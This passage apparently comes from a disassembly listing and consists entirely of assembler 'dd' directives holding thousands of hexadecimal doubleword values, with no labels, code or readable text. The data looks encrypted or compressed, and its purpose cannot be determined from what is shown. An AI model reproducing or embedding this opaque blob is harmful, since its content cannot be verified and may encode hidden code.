5DC2C498h, 0BE67B924h dd 12756E59h, 0C3613045h, 8E06026Ch, 38861A3Eh, 3FA910FAh dd 9D100275h, 4D85DA4h, 0C8070150h, 21FAF9CCh, 280FF2A4h dd 6C3E548Ch, 0C4603482h, 98701E65h, 49891449h, 0BA33B146h dd 78FA392Bh, 69BBF8B6h, 2C26844Fh, 0C503FDh, 0B632F64Dh dd 8BB834Ch, 87557AC8h, 97E608BBh, 0A62237DEh, 10D58871h dd 0C5E6A69Dh, 0DEB04277h, 0EBE8E6C2h, 9F0B9FB4h, 0B9676DFCh dd 3D20D829h, 0AFD19709h, 1772CAAEh, 0EA5D77F1h, 2C2BA751h dd 0CD3E8E5Dh, 563B61AAh, 0C6E80B3Fh, 6B938578h, 41CC6868h dd 0A81C4C21h, 4201F41Ah, 56B075ADh, 17CCEC3h, 67615207h dd 12201F9Eh, 10586070h, 9D858AA9h, 0E9460225h, 2347E84Dh dd 30D5D4ACh, 44A2ED7Bh, 62DE9FA0h, 0A5C0976Eh, 10E18EDEh dd 630293Eh, 0A0D043DAh, 7562E287h, 0E12560F1h, 8CD2E81Ch dd 4D78C282h, 84BAC2A2h, 0FD58A890h, 0EDCA97A0h, 40F71361h dd 0C95ECDFh, 0C509F2A6h, 0A9E648C5h, 21BF2554h, 3EE15396h dd 0AE651677h, 0B6427A67h, 4543C09Fh, 0F10B9C66h, 2FDE0EF6h dd 0DEE063DAh, 0BACC8A41h, 12EE1C1Ah, 2078BF38h, 742406BEh dd 4255457Fh, 7D136F9Dh, 88BFD78Eh, 0AC339562h, 0FE117ECCh dd 0A187A2ABh, 0C1B6F50Eh, 22FD61FBh, 11B5FFA9h, 5C922A63h dd 0E97EC1DBh, 917385CBh, 8FE4C768h, 2E5F3A54h, 210F42DEh dd 297563A1h, 3E3A437Ch, 0E8307635h, 0CBE976A6h, 0F89CD8E1h dd 891B143h, 14DD1B15h, 54D7893Ah, 1DD4FBE7h, 0A7C9ACCBh dd 6E3155FEh, 0CED5093Dh, 0C4FA1819h, 9BB1C41Dh, 7F125CE2h dd 89B991C7h, 0D70FCD39h, 0BD553E2Bh, 0E9C8D848h, 0E8D62EB7h dd 0C639833h, 51C8B3F4h, 8CB55BECh, 0A742799Ah, 6FE46F9h dd 0A7131B16h, 0BE4D260Fh, 0B101D794h, 6876BE26h, 0BE3A35B8h dd 6B36C982h, 0FB68C2BEh, 0CD3E1AB4h, 53F8509Dh, 0D1BEB7C8h dd 0FE128D89h, 6277AE22h, 6614676Ah, 8329249Ch, 5AC21923h dd 0A1D6E690h, 108E8757h, 0ADA53EB7h, 629F801Dh, 274CB8h dd 66146CBFh, 664B9786h, 4FA5335Ch, 0FF48E063h, 32D0380h dd 24F3A470h, 3885FADFh, 2692D9A2h, 0FFF28F51h, 0DD3E53F5h dd 8A5EEF3Fh, 0D1C3A5D9h, 8A4A7D97h, 2ABA95E7h, 0F9B5FD1Ch dd 29E55614h, 74232ACh, 0B48A24AAh, 3A45E3A5h, 0BF8D917h dd 8380EE0Eh, 0DA6153DAh, 0D595654Fh, 0BB9A28D6h, 66E52490h dd 994172E3h, 9016F348h, 5293663Ch, 0CB8CC1C0h, 9A549999h dd 0F3A97E23h, 1DBD3597h, 64E1FCA9h, 2C6A9BCDh, 9FB2F238h dd 38E3906Ah, 9CE306A9h, 7AFE0446h, 4E0608B0h, 52FB7C3Fh dd 2126FDD4h, 29F49436h, 72CF0A2h, 0A55BCEh, 4727FAA8h dd 7CC5FBCAh, 8B4A879Ah, 34F875F2h, 797DBE34h, 92C51231h dd 294984A4h, 11A52F98h, 0E1799615h, 89804637h, 0DDF9831Dh dd 36ECCBh, 19098187h, 3005FCC2h, 5FC33C74h, 0D2CD88A7h dd 0CB5E700Eh, 40BE41C0h, 8B750CEEh, 6383BE9Ch, 821BEC1Ah dd 0E6D0A0B8h, 685A815h, 0C955A232h, 0F4894C4Eh, 86B89487h dd 0D520DDB9h, 0E35847A5h, 0DDA8FA1Dh, 2EDCD7B7h, 0C62F94B3h dd 4C811730h, 0F025B3A3h, 0B71E7A6Eh, 0CFAD3F88h, 0A875D772h dd 9EEC9F2Eh, 86FB8220h dd 25644163h, 0D58C2730h, 0F0E03445h, 0B5E791C1h, 3224DC4h dd 48DC8DAh, 9E41562Eh, 465F172Ch, 192DD1Fh, 944353FFh dd 4F5DE55Fh, 3F2C0A0Eh, 0BD2006F5h, 0DCEC26D2h, 6F66A400h dd 6113F609h, 0F21FA624h, 2F6C45E3h, 9AB1792Dh, 0F2DB8EE5h dd 3B70E661h, 0C3E527D8h, 90FD6D7Ah, 0BCCCCC67h, 0EE6613EDh dd 31B9B187h, 7D9C8A0Dh, 23017254h, 9CE8A8FFh, 9EF4D223h dd 824DA8D9h, 4810B0A9h, 0F6248B40h, 721A448Ch, 0BADA3E4Eh dd 0DC85F7D4h, 8EEA4CA2h, 1430192Ch, 38A4BB08h, 11D02449h dd 0FA60833Fh, 0A9702462h, 5ED0C4EFh, 924A4F6Ch, 0E6648027h dd 0DB86910Ch, 3B0A9556h, 76AF73BFh, 0CE2714A8h, 98962F25h dd 11C7DBF9h, 10E17C4Bh, 1D44F8D1h, 77C45C9Dh, 60EA0199h dd 0A5DA1A11h, 0D2533D90h, 3FC54BEh, 0F4F913Ch, 150C41C7h dd 527D0295h, 726ED1D7h, 0B17A2060h, 0EAEF9AF7h, 254005F3h dd 200096F2h, 7CA2F6AEh, 8BB51809h, 3074ADF9h, 0A648C561h dd 9AEEC901h, 0CC342D6h, 0F34B204Eh, 0A0928E53h, 0B3B26BFh dd 2A176FF1h, 73C18B24h, 663E8708h, 5C12F23Dh, 502E53C4h dd 0DC73A3BEh, 23179A61h, 0EC7394F1h, 0DED44634h, 2C4B6044h dd 67ED1AE2h, 0CA2E82F0h, 152C37ECh, 12D6B81Fh, 867C6282h dd 0DFD65194h, 410CCDB0h, 2FA9DA99h, 0A1BE39A6h, 0DE6B3623h dd 0AE61DF83h, 3E16854Fh, 0F71AC3CBh, 502A6F6Eh, 1F6677DBh dd 5AF1DEB6h, 90D82A7h, 44CE9755h, 0D7528355h, 4C4DAF91h dd 4633F1D1h, 0D23ED4DCh, 0BC90101h, 57256C3Ch, 1DE1612Fh dd 0D0271A25h, 179B1229h, 1BF6733Bh, 0EAB159E7h, 0D7C2CF8Ah dd 8C4CEF19h, 2B189B55h, 4AE3DB31h, 0DF44F8ADh, 412CCC8Dh dd 0E400F2CCh, 4D563439h, 2E73180Dh, 0E1175262h, 66750466h dd 0D7662489h, 95084387h, 0CE01DF78h, 841588CAh, 4694E6B9h dd 0E6B93452h, 2CC4FA0h, 0E040C599h, 1667BBDBh, 4AC4694Eh dd 81C9C65Fh, 0FAD481A6h, 0C808EDCEh, 3C823584h, 0D70086FBh dd 9F65D5E3h, 3BCC4486h, 6F9279A4h, 0A312BF67h, 0CDC70661h dd 24C9E90Ah, 0D30A40F6h, 0B7B89CD5h, 0CDBEAD4Fh, 896EF0CEh dd 831D4B99h, 0B573E0BCh, 0E355DE40h, 0A0E41922h, 90A97E3h dd 353D606Dh, 4FD03EEFh, 0F3BAF9CDh, 0C735136h, 0DB1A7982h dd 5DB6B71Dh, 0F891B189h, 77411909h, 1616CCD5h, 4E6AF503h dd 457CDE8Dh, 4A7D2531h, 0A2BF4F8Dh, 9CCB577Bh, 0BEF719DBh dd 40B1C73Ch, 29781138h, 208AF116h, 0F40EE21Ch, 9C964145h dd 3A10D887h, 213CE850h, 0E4650A3Ah, 53BE0A60h, 0C43CF708h dd 83FD031Bh, 0EED98604h, 0F511F722h, 85B46396h, 0E263A6FDh dd 2FB0C802h, 0CBCC5C39h, 988E7917h, 4708F258h, 432E1277h dd 624753E4h, 120676E6h, 58220742h, 2F9B2350h, 0D4BAE137h dd 9D15D17Ah, 4A62A659h, 4B3334CFh, 64841115h, 0DDA8F55Bh dd 0BE28A11h, 315F785h, 4551A20Eh, 2CF3079Ch, 4051CEFh dd 0B3E457AEh, 47877A35h, 5D421DEBh, 0EC850DB1h, 728B934Dh dd 0B690227Ch, 0FC90F063h, 989221E4h, 0EA0C83CDh, 0F5BC45DCh dd 0DC50E428h, 5514FF01h, 0FBE6C5FDh, 97480C84h, 763B5885h dd 772FA411h, 0A2FA3865h, 0B876869Fh, 0CDAEB968h, 137CEF4Fh dd 6D1FB2D3h, 31761B9Eh, 9F06BF96h, 92758FDEh, 38AF0268h dd 0E7AA97ECh, 217397FBh, 97B4257Dh, 27043F8Ah, 81BA96Eh dd 0BAF8147Ch, 5FB0E2B3h, 3A971445h, 77B70CBAh, 175A866Ch dd 894BA693h, 0FA2AB1F5h, 60326384h, 5A048C70h, 0F6AB4119h dd 5B81FA1Eh, 21C0D356h, 0C4F943E1h, 9D8B18D0h, 4E18C695h dd 0FF5424F2h, 0DD49FDD4h, 5917AB8Ah, 0F237D12Fh, 0D6C62F4Bh dd 7897DF49h, 0E9D59977h, 0E9B138B4h, 0A2260D0Dh, 7FF2C1CFh dd 0BD792242h, 876D5B16h, 16A89089h, 24FB522Ah, 7C29F32Ch dd 0D66DF6DFh, 2B0EB8B4h, 1734FFDh, 62F945C9h, 577B6D79h dd 9E4993FDh, 7B88B862h, 77E53C9h, 14DE6D61h, 7913E81Dh dd 0EF8CD422h, 0DB6D4422h, 0DC62BEAAh, 0BFD0FE49h, 32E9487Ch dd 8BE527F1h, 0BF979569h, 0A27CC3C4h, 9543CCBAh, 3662E81Fh dd 0D8FD1CEDh, 0ED020E07h, 6A1589FDh, 4603D01Fh, 0E8C5E204h dd 4BFC7D05h, 215A7AC6h, 0E7477054h, 6BEB1F8Ch, 440D730Eh dd 0C6E88417h, 468EA75h, 4D85488Ch, 94D72664h, 15AA4463h dd 1FCFB060h, 0A153F814h, 864FB622h, 40BEC97Dh, 0D2A328A8h dd 2B8AE017h, 1D25958Dh, 0CCA1E754h, 98BAEE42h, 8BB96734h dd 0BF161CB5h, 7B3A6589h, 0EAE243D4h, 983771B7h, 0E4C27CC6h dd 6427B643h, 3C58BDE2h, 3EEFBC43h, 9D136E1Fh, 48C543B4h dd 2C3B4470h, 4CF22A19h, 5DC4F598h, 7ECB5D4Dh, 0A7E50D42h dd 2A278118h, 9313A30Dh, 0CEB53AD4h, 0B8F6DE42h, 226E1F0Fh dd 0FB920F4Ch, 815A6E3Bh, 1CAFC18Bh, 0F89182BFh, 0D46052F0h dd 425FD1D9h, 3484D490h, 0C0E21CBEh, 0C31412C5h, 1FE22E11h dd 71DB3402h, 1971A679h, 8D2B842Fh, 0D05FD1Dh, 241CBF7Ah dd 0F02677E5h, 8EBF32DCh, 35B39FA3h, 0B9F462EEh, 0FC6D7917h dd 41869113h, 0A40F205Eh, 0D887BB77h, 0AB368E7Ch, 809E4B25h dd 46435D3Fh, 1FDEC2CFh, 4EA4B4C0h, 66BAEB00h, 5E04F316h dd 9E45A0CCh, 16037352h, 82C203D7h, 0D8351CDAh, 6A7D75Dh dd 23E34198h, 1070B576h, 60716BF3h, 0B4E45F88h, 96668109h dd 0EC4EC263h, 0EA5E634Dh, 0EF988DCh, 7F3B57C2h, 6C232511h dd 63272511h, 0B45926FBh, 229CD307h, 0AD40B9C6h, 0F0D9AE4Ah dd 2F1EEF2Bh, 0F33E53F9h, 987CA093h, 7AB914EAh, 8C556B7Ch dd 5C28B7D9h, 0C98276C4h, 924DC7F6h, 0D7F1B91Dh, 4DDF527Dh dd 9E4AAB5Fh, 17E9622Dh, 0EF91773Bh, 0A5FA9E61h, 7EB78A4h dd 0EB60FEFBh, 432B10F8h, 29DE3E45h, 0D0812941h, 0AE901E1Ah dd 31796279h, 0DD8AAF53h, 0AAD33C55h, 82559B26h, 62E40F91h dd 0EE2FF628h, 0A80BCA08h, 927310B3h, 8026C24Eh, 68F58E12h dd 943B1665h, 39C087DDh, 23D726BBh, 7AD2B380h, 0C8876A5Dh dd 51C1D4BBh, 0D29CE62h, 82554134h, 32987147h, 0B90C2170h dd 874D6048h, 6E2155E1h, 0AF521072h, 418F26FBh, 18E20F70h dd 0A8DA0E30h, 81AA812Ah, 33A19E90h, 21D2797Ch, 7FE90FBEh dd 641620CFh, 0EEA80709h, 4C0D5AAAh, 0C913078h, 1A0F7901h dd 0E27066ABh, 88450A93h, 0BB25513h, 0EA0B045h, 460B8101h dd 9B603275h, 4E207EDAh, 88983E45h, 2B9B414Dh, 5AE10F3Eh dd 45A9AA0Ah, 0C760FD59h, 0A49C530Fh, 6BA08117h, 5686B422h dd 3176DA81h, 0F3215FD1h, 0BE9BEA09h, 465FCD23h, 82CE23F0h dd 83213C3Eh, 4F3D84CCh, 932B3B81h, 0C1139D68h, 0D5DE499Dh dd 26A7E6EFh, 275ABACh, 26A7E99h, 0FB0AAD93h, 0FA3842BBh dd 461C9308h, 990CA981h, 7E11F470h, 0B26E0C3Bh, 0F03BD63Fh dd 0FB4E7C19h, 649DF41Dh, 377C4A7Eh, 8C91F9FDh, 2CA5FD4Ch dd 65254B7Fh, 0DB601971h, 0EF0CD07Fh, 2C8525FEh, 2973C26Ch dd 89B6098Dh, 0A4FA3881h, 2E2197DAh, 190D6136h, 450DE1D6h dd 0E2DE7297h, 3E1A08CEh, 0F1361BE1h, 0DAA0645Ch, 62F014B8h dd 0E1E3E6ECh, 82499F9Ch, 9461A43Ch, 873FD5E1h, 10A72DC1h dd 1C4C538Eh, 90F0550Dh, 792B07E3h, 0B286D341h, 1287D7CDh dd 0CFB4C1F5h, 5BB4041Ch, 0F84F78D2h, 3993BFC1h, 792F1823h dd 7408DF37h, 9CF66139h, 0ADF663D6h, 89EBF227h, 3973D778h dd 3CA9363h, 0A39CB93h dd 97229E5Bh, 3CC97E33h, 0F0CF0DD5h, 0EDFE3C72h, 4E627885h dd 5A0B8375h, 4C14172Fh, 671C994Eh, 0C2E162EDh, 57417366h dd 0A9C6662Dh, 0F02262CCh, 6CF363A9h, 9063045Dh, 0C4C54F36h dd 2B39DD4Fh, 98DE27F1h, 0C73C8B85h, 6D4C89EDh, 0E59B8D3Bh dd 2BAE1BB4h, 1373D402h, 0FF29FA1Ah, 0A023F0D6h, 14D38E0Ch dd 56D8C3Fh, 0B52FEBA2h, 0D6D43AD5h, 46C1A52Bh, 3F2844CAh dd 60552C94h, 2C26C945h, 0ABAE9BD3h, 0E3EBF92h, 11D1EB02h dd 0ED70FA50h, 279D907h, 8ED6BD1Dh, 44FF1441h, 3FE107E9h dd 60EB86AAh, 0A0FC7550h, 3140FBE6h, 79EEECEEh, 0DFFCA81Fh dd 0B7368A1Ch, 0AC3D3438h, 0E9766B58h, 0F7DC41F9h, 28BF9483h dd 889CDC83h, 82FE8BFh, 0C1AEFBFCh, 1F8E99CEh, 0CC3BF074h dd 0E56AE9ACh, 0F4C10A1Fh, 0DB02127Dh, 0C96F02C6h, 6A70A7CCh dd 0F0C4BAD5h, 3B62E3DDh, 0B4189DAFh, 4F662F24h, 3B1ABA6h dd 0BEA570B2h, 0E36F2EC3h, 517D26A7h, 0D1234E0Dh, 0BE4608A4h dd 0CDC3F11Fh, 13EDA03h, 0D3589323h, 0CC3E3888h, 706286Fh dd 79923883h, 0CDACB142h, 2F145D84h, 26B125D0h, 0AF88360Dh dd 5F0425E2h, 0F30C7424h, 4D03FB3Bh, 35C7ECEh, 0E73CC5C7h dd 423A21DBh, 9AD5DE46h, 113900E5h, 0F5B94418h, 682E8453h dd 3B81B94h, 657E20FFh, 5E50EFB2h, 300F0C4h, 1578A42h dd 140AD664h, 0B0DC91B8h, 5F08F8Ah, 0C16312CDh, 417F05CFh dd 86B77AD0h, 461F0FCEh, 0C4DB4172h, 0A33DCD07h, 0C8667D67h dd 1DE26901h, 7F604272h, 0AC6E6F01h, 84F82857h, 9EF45480h dd 1E7BB21h, 7A57C648h, 0E75F02B7h, 0D08068AEh, 867B99F8h dd 90379EEFh, 0AEFB2F8Ch, 776A2100h, 1A107305h, 199EFE5Fh dd 0F58973DFh, 70AB859h, 0F2151237h, 9FA800BFh, 206677E6h dd 3DC8BC34h, 6D9EE103h, 712CE840h, 0B9EE68CFh, 0E967420Dh dd 3DC4067Bh, 0A73EB07Bh, 0FE14CFD9h, 19BF6FCCh, 844A1EB0h dd 9A06C39Dh, 0EBB0926Bh, 3D7ACD2Eh, 0C73AFDE3h, 0AFDC48DCh dd 0FA363804h, 32BC24ACh, 37B377D9h, 2ECC263Fh, 0FB024AC2h dd 0AB17EEF8h, 4D6F99C2h, 477E7623h, 13C5B99Ch, 0F253CAEFh dd 0FC721C02h, 0D05C1944h, 0B644331Eh, 0A4D86084h, 0C903931h dd 4E3D9980h, 5BB22DA4h, 69182210h, 3242933Ch, 33E1BAB6h dd 0AB08DC5Ch, 0DC9EF307h, 5C2EF745h, 701E97F5h, 70568CF0h dd 5F47332Ch, 1DB8CABEh, 27F304A3h, 0A7D2A2F4h, 7C0C76F6h dd 0C3341712h, 0DE87DEBEh, 0A8FA4DC2h, 0F96D885Fh, 0E25DFA96h dd 5803039Dh, 0B46D484Fh, 0A3CC4603h, 0D24DDF3Bh, 0D345DCAAh dd 49A8F04Fh, 0C105901Eh, 3C16409Ah, 8C6FD3E9h, 82FC2092h dd 59F5891Eh, 6724F1D3h, 0C6F02FD4h, 0FCDE0DF5h, 0B792F80Eh dd 3E362EE5h, 27D76919h, 0BDB776A5h, 1B346B90h, 8D7F241Bh dd 98B991F1h, 249CDAA7h, 0D26E2B3h, 81292A17h, 0B323021h dd 21A68703h, 450CF479h, 7EA9AE5Ah, 837058D3h, 0CAC2706Ch dd 322E8D44h, 1344F6E3h, 81CFCA71h, 8D33DF40h, 0CA27C718h dd 606B4A6Dh, 0A2B9204Dh, 5781C8BFh, 0E273077Bh, 0EE0D3792h dd 0B84E14A0h, 81BE09B8h, 924E6E61h, 0FB903045h, 51BD574Bh dd 7A03C95h, 0E83727D7h, 45A8D22h, 214C7EFAh, 5FF097E4h dd 8B7F84BBh, 34E005C9h, 0BF1FE7DAh, 31C9B4C0h, 0ED6AB66Ah dd 0CF28183h, 9C04E289h, 0D92EBAE7h, 9A5B5150h, 96913238h dd 0CCD46A4Bh, 9360FD01h, 19C7025Dh, 0FB6A1E7Dh, 0BD20EB12h dd 10DE9DE4h, 8BE61A83h, 62CFCEF9h, 407C24D6h, 9C7926F3h dd 9DD2756Ah, 4ED8A0EBh, 68B84A0Eh, 75E605DAh, 0E2204C8Bh dd 0EEC54230h, 0EECE8380h, 620E8380h, 9E42F80Eh, 7820FADFh dd 0D998FA9Bh, 3A3A1269h, 832E284h, 0ED137165h, 7BC96341h dd 0A5549BF2h, 77A5D9Ah, 213DBB51h, 9A8D0770h, 92CC92DFh dd 2F02EEC2h, 2B690A32h, 633E3103h, 3E8E4DD2h, 39D6F6F3h dd 1C9D315Ch, 0C1D18385h, 35A2C7E9h, 5E313724h, 0BEB09DCh dd 3A3189DAh, 9ACD3C9Ch, 0FB53015Ch, 5C162CCh, 578145h dd 8CA0160h, 18BA0070h, 0F5F5E939h, 0E65874DDh, 7C11D907h dd 0D316F59Eh, 0B6B765A6h, 0CA55D99Bh, 8ADB250Eh, 0EB5ED99Dh dd 0B699365Ah, 8DF09EEAh, 4B3C83B2h, 0BEFD371Dh, 0CE12308h dd 5A724D05h, 95640C12h, 0B3992C4Ah, 0A228A0A4h, 0FD4BF228h dd 57BE5596h, 4D214962h, 4CF373DDh, 6E91D9AEh, 45A2AC9Ah dd 0E8D7A4CFh, 1D4CDB14h, 36A58A6Ah, 10D275D3h, 0CFB13456h dd 0D2BDA5EEh, 7750D9ACh, 57275BACh, 1A2401DFh, 0DACFB05h dd 0C52B7B53h, 65655B8Ah, 8B1B363Ah, 1D726B1Eh, 72E3B2F5h dd 5397ACCBh, 1A595D13h, 985CD4B7h, 175A55h, 958EF7DCh dd 4A4F533Dh, 0CD6D8AB9h, 0B1CC70FEh, 35EDD1D0h, 26395859h dd 0D67D9CD7h, 9ABADCBAh, 7D89B6B9h, 57BACD41h, 93CE9DB6h dd 6169EBA1h, 1BB1E85Fh, 964B1756h, 3E6DB36Bh, 0F5CFB1D0h dd 0D7B5731Ch, 71D1BECAh, 0DA2CB5ABh, 0E347633Ah, 0B3D728FCh dd 0B97A741Ah, 556DAD71h, 0FD5A1EB2h, 0C7632A52h, 4A7E094Eh dd 4CAF66F6h, 97A4C7BDh, 8C9CD764h, 0B5A8F16Fh, 7EDAD6CAh dd 9AC1BF8Eh, 53A2CF69h, 0E5061AF6h, 0C60FE5B1h, 837CB07Eh dd 0EADEC8DAh, 75CEE597h, 67CE485Ah, 4B59F81h, 0FB2F528Fh dd 66304C2Dh, 3CA8C02Bh, 8465D6FEh, 4BED927Dh, 9B50FAA3h dd 0FCBBC195h, 6CDB4C0Dh, 0A3BA8E0Fh, 0D0B7D8ECh, 29DBA469h dd 80E9843Dh, 233E989h, 8CB7D99Ch, 71DB65DBh, 1E5464C7h dd 0B3DE1BE9h, 0CF50AF5Bh, 16864BB5h, 0D667B9B6h, 0CBDEEAE4h dd 0FD6D720Eh, 0D0AF89A9h, 0AD07676Eh, 18706D61h, 6D65598Eh dd 35960AF6h, 4AE8CAEBh, 4F99EF72h, 0B93EB3C7h, 3ACCF75Ah dd 0E46541D9h, 0B38F2CD4h, 0D3862645h, 0D46795F0h, 0BADB1267h dd 0E5CDDF47h, 8CAB980Ah, 975CDFB3h, 6E5466D5h, 41E59B65h dd 967DAFC5h, 0E59EB275h, 0BF76941h, 0B4EB9678h, 8EB99EB2h dd 8DFCC0D5h, 3E0E41CDh, 0D1C2FB27h, 5D658B78h, 32E06AD7h dd 91851A59h, 331885CBh, 0C7DF84F5h, 94655AC9h, 575BD4EDh dd 18DAE498h, 0CF254617h, 0E2C72389h, 5462CC5Fh, 0BD9BF9E9h dd 9ECAF47Ah, 66973DD6h, 0FF25DA3h, 0FCE7B361h, 0CBD36805h dd 0FB17F59h, 2BDB962Ah, 4505DC5Bh, 71829D26h, 7DA7D6DDh dd 95E8DF9Bh, 7E5C95C7h, 7A4B7150h, 0B0B96B05h, 0F2CFBD37h dd 6811FFA9h, 580DAFB7h, 5A8D73B4h, 0D159ACCBh, 1C56E936h dd 3B80470Bh, 0FE465B30h, 0E4AD5FB6h, 0F4C69C51h, 0EED6B22Fh dd 0E8DA38F8h, 9338F959h, 9BE6DBABh, 0B35AFD15h, 0FAD95F02h dd 59A9CFB6h, 0CA74571Fh, 0E5668B2Dh, 1CD6582Ah, 43EB8D2Dh dd 0E0FF81ABh, 51EDE0A7h, 0FE19F1DDh, 0D40AED36h, 36A8FA9h dd 0FD86E37Dh, 10DF752Dh, 0C7A161A3h, 0B67027C4h, 73142E3Ch dd 0FA29FAA3h, 7D8D5BBEh, 73C87FBDh, 458894BCh, 0BC3871A7h dd 2833BAFFh, 0ECABC2FBh, 0E8DB85F2h, 6D4E2CF9h, 0F593166Dh dd 0DC9DD989h, 0F8DF6F20h, 0A57A17E6h, 0D6D4691Fh, 0E17F573Dh dd 7B8829FAh, 754AF727h, 0F434C16Fh, 531E85C7h, 1BE8DABDh dd 38B1CED6h, 0B58ACB27h, 0D83CBD76h, 199AC3FCh, 0DED9DA37h dd 2C7FA7A0h, 4A8340CFh, 65C2C2A1h, 6546C52h, 0B0C6FB1Dh dd 0DE7CA72h, 8E5EF956h, 68FB5785h, 959A55EAh, 6E56A541h dd 0E6AC7FE6h, 9146BDA7h, 2DF4AF49h, 0F877CBBEh, 7B27032Ah dd 0D34AC72Bh, 0FAD56DA9h dd 84FCBFD1h, 170D270Dh, 7AE30B5Bh, 0F9C7EACBh, 65D8CBA4h dd 6CACF6CDh, 6C57ED0Bh, 8EEA34B8h, 0E65BBD96h, 0FC615ED9h dd 0E0F6B696h, 0B97F1868h, 0CFF2B6h, 5EC2BD66h, 0D53E171Fh dd 7167C56h, 473C63FDh, 0D8C19526h, 8FE83B3Eh, 35DCED72h dd 0B1DD6E8h, 0AD503BCDh, 6F301955h, 17DA15h, 0F506AD37h dd 0AD4E32FDh, 0C6341A5Dh, 0B017B847h, 6D941A71h, 832A6C97h dd 5BD418EBh, 469A5CF7h, 0A9E4D58h, 9BD0249Dh, 0B05BA520h dd 4DF497Eh, 0DB82EC96h, 869EEA7Fh, 9FEC146Eh, 96187F11h dd 0F72F42ADh, 9FB6FE8Ah, 3D34FA06h, 0A2872B3Dh, 477431B3h dd 18F6738Dh, 0C1AF3C14h, 0B0DF07BAh, 6BB02E32h, 56787F36h dd 6561AD9Ah, 656BAFA4h, 2EF43757h, 0EC885365h, 0F8A5B3C3h dd 5BCD3Eh, 6C578313h, 0FC2F839Bh, 95C7E43Fh, 0DB1AA7D1h dd 0BB30B7C6h, 9ECA3C37h, 668B4535h, 0B19D563h, 9E357A9Bh dd 5D113E31h, 0AEADB28Dh, 0A7C776BDh, 33C909FCh, 563A1D37h dd 0E15EAB1Dh, 99FD3E58h, 0B4ED1BB5h, 88CDA37Ch, 190014EAh dd 0BA81BE5Bh, 0BE800522h, 10A5F992h, 13290408h, 53F2A0CCh dd 710EA414h, 95956B4Ch, 357E60F7h, 170B6B49h, 9012A9B4h dd 63D6E5A4h, 1505AC82h, 58E9ABC2h, 59E054FAh, 4C94ACF3h dd 6C8F7546h, 0ECD3E72Fh, 5E3B68h, 253EA31Eh, 0AB7EB180h dd 1F46D834h, 0D2454DA4h, 7159AFA2h, 0F6166ED3h, 8DC1759Ch dd 0B71329ACh, 333BB829h, 0BC88C160h, 815A689Eh, 30BEB881h dd 13F40A2Dh, 8BE815F4h, 45A517D3h, 0C725E1Eh, 8CE4D345h dd 8B84B49Dh, 96C07F49h, 57809630h, 0A3225194h, 0B182C9A0h dd 9A0A2D33h, 0C0A0E12h, 0D139E858h, 0AEEC60A2h, 1538CFD5h dd 0D675E1DDh, 4D6127BBh, 0F83E8AF2h, 70D2DF3Ah, 0C1BBE93Bh dd 69AC292Dh, 0ED4B48DBh, 3C368185h, 4D164AF2h, 1DD44611h dd 71CDE3CAh, 0F2DBD77Bh, 164ADFBAh, 0DA8ABA8Eh, 763DF6BBh dd 6952D22Ch, 9A2DE4C6h, 67B63564h, 0E494D812h, 0E72B125Fh dd 0C4B6DE5Bh, 0F7CBBAF2h, 0AB25B358h, 31A57221h, 33C23E06h dd 4F849Eh, 9313E11Fh, 8F810CF0h, 0F0AF0CF0h, 38294759h dd 0D69AC2B3h, 61090D65h, 51C141CDh, 0ABF9118Ah, 8692835h dd 2B8E6B0Bh, 14B582CDh, 0B02D7BC3h, 3149EED0h, 166C2BAh dd 763DB8EEh, 253957E1h, 0A9ECB5B9h, 9639ACDDh, 0E37E9A6Fh dd 263D9B3Bh, 2FE57903h, 9FD4B7F8h, 739DFAD2h, 151B86BBh dd 6F739F5Bh, 2872A4D1h, 0EB03BB0Bh, 32F0CBA8h, 3EA1E3ACh dd 0F2B660EFh, 0CC144FA5h, 0C74CF672h, 0E554EC8Eh, 46C32624h dd 3AD4FBB3h, 3DE609FBh, 89021E92h, 5A572AE7h, 0A808A7BAh dd 0CE3EF87Ch, 38752DA8h, 0A02F142Dh, 1CE707ECh, 45639ACBh dd 0B25F6DADh, 0EF8C4A1h, 0FE8C654Ah, 7E679BCFh, 0F289053Ch dd 0D74AF0A8h, 277107D5h, 654143F1h, 0AD5494F4h, 1F5385FFh dd 0B98E4655h, 2FCAC772h, 81FF02A1h, 0EBB3273Ch, 449BB4D4h dd 28E3831Bh, 0E16B4A0Dh, 8AEFA661h, 72F1D65h, 4E14B66Ah dd 4B1C29E3h, 0C71258E2h, 0C22C7C22h, 58F642C7h, 0C88B1EC8h dd 52AC88B1h, 84FC610Fh, 3BCEC70Ah, 3B258A9Fh, 0AC816F33h dd 0E79B456Eh, 0CF9EAECh, 0DA3A36B2h, 70C6541Ah, 0B4E0A4B4h dd 83474B80h, 3B3818CAh, 0EB818B00h, 9C187C1Ah, 987BC187h dd 0FA6C3C9h, 21FB871Fh, 1F5D87E3h, 78475E06h, 17D28656h dd 878F60B4h, 11ED802Fh, 6A904AA4h, 80B96FD2h, 1C1603D0h dd 0B3930F0h, 0EA4E4752h, 1AA6226h, 749E207Ah, 0C243FC35h dd 52CF26B3h, 0BC12EC3Ah, 0AD245040h, 9CC581C1h, 0A0707520h dd 282C424Eh, 6AEADE8Ch, 0BA981C2h, 984E28BBh, 5162C1F5h dd 8F6E4502h, 7338076h, 99F61D1h, 0AFB8BCEh, 55D71303h dd 5EB92C4Eh, 0F999A110h, 0D7E91993h, 0B16F124h, 230CE1BFh dd 3E6AB1AAh, 0F816BC0Ch, 0EF97E006h, 0E6BC13E5h, 0A24B4A90h dd 0A89A867h, 0C3F33088h, 2F3C2516h, 1518E7B3h, 0C402541Ah dd 8347C024h, 50028D0Ah, 845A6C1h, 5A4303h, 2E0A6005h dd 4843500Ah, 0C090280Bh, 16976108h, 30C0480Ch, 80718851h dd 9C82103Dh, 0B7AA02B4h, 0CC019258h, 0B424D5Ch, 9C0705A8h dd 52848065h, 11C173CFh, 2051B057h, 2B08580Ah, 9A106E1Eh dd 159F5D81h, 28814C00h, 0CC2B0862h, 830020DCh, 301A0299h dd 5250A7Ah, 0C1CC2A2Bh, 58BA5A1h, 0C17E05B4h, 534E1017h dd 0EC84D8D4h, 2809ED60h, 688190B8h, 17820F86h, 50730A84h dd 5C37085h, 4A045C11h, 470B8070h, 521E4A9Ch, 902C455Ah dd 0EB0762C2h, 8341ED0h, 1CC3E0A1h, 0C0D0329h, 82318480h dd 0DB800D0Ah, 41020AF1h, 0F21CD788h, 0F79F428Ah, 76823A15h dd 6D835AB0h, 1DA29E4Eh, 0A4AC5301h, 1BB16078h, 7AC61644h dd 0F79B601Eh, 676647E0h, 0A3076Eh, 82FCBCB4h, 45C1E050h dd 6A005F8Ch, 1540D1E8h, 442C0A01h, 844A06A1h, 